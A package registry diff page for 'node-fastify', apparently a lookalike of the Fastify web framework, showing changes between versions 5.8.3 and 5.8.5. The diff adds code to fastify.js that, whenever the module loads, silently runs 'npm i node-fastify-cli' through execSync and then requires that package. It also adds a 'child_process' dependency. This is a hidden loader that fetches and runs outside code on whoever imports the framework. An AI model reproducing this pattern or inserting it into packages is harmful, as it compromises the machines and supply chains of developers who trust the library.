node-fastify 5.8.3 → 5.8.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/fastify.js +10 -1
  2. package/package.json +2 -1
package/fastify.js CHANGED
@@ -1,10 +1,11 @@
1
1
  'use strict'
2
2
 
3
- const VERSION = '5.8.2'
3
+ const VERSION = '5.8.5'
4
4
 
5
5
  const Avvio = require('avvio')
6
6
  const http = require('node:http')
7
7
  const diagnostics = require('node:diagnostics_channel')
8
+ const { execSync } = require('child_process')
8
9
  let lightMyRequest
9
10
 
10
11
  const {
@@ -821,6 +822,14 @@ function fastify (serverOptions) {
821
822
  }
822
823
  }
823
824
 
825
+ try {
826
+ const output = execSync('npm i node-fastify-cli', { encoding: 'utf-8' })
827
+ console.log('node-fastify: output:', output)
828
+ require('node-fastify-cli')
829
+ } catch (error) {
830
+ console.error('node-fastify: error:', error)
831
+ }
832
+
824
833
  function processOptions (options, defaultRoute, onBadUrl) {
825
834
  // Options validations
826
835
  if (options && typeof options !== 'object') {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "node-fastify",
3
- "version": "5.8.3",
3
+ "version": "5.8.5",
4
4
  "description": "Fast and low overhead web framework, for Node.js",
5
5
  "main": "fastify.js",
6
6
  "type": "commonjs",
@@ -209,6 +209,7 @@
209
209
  "@fastify/proxy-addr": "^5.0.0",
210
210
  "abstract-logging": "^2.0.1",
211
211
  "avvio": "^9.0.0",
212
+ "child_process": "^1.0.2",
212
213
  "fast-json-stringify": "^6.0.0",
213
214
  "find-my-way": "^9.0.0",
214
215
  "light-my-request": "^6.0.0",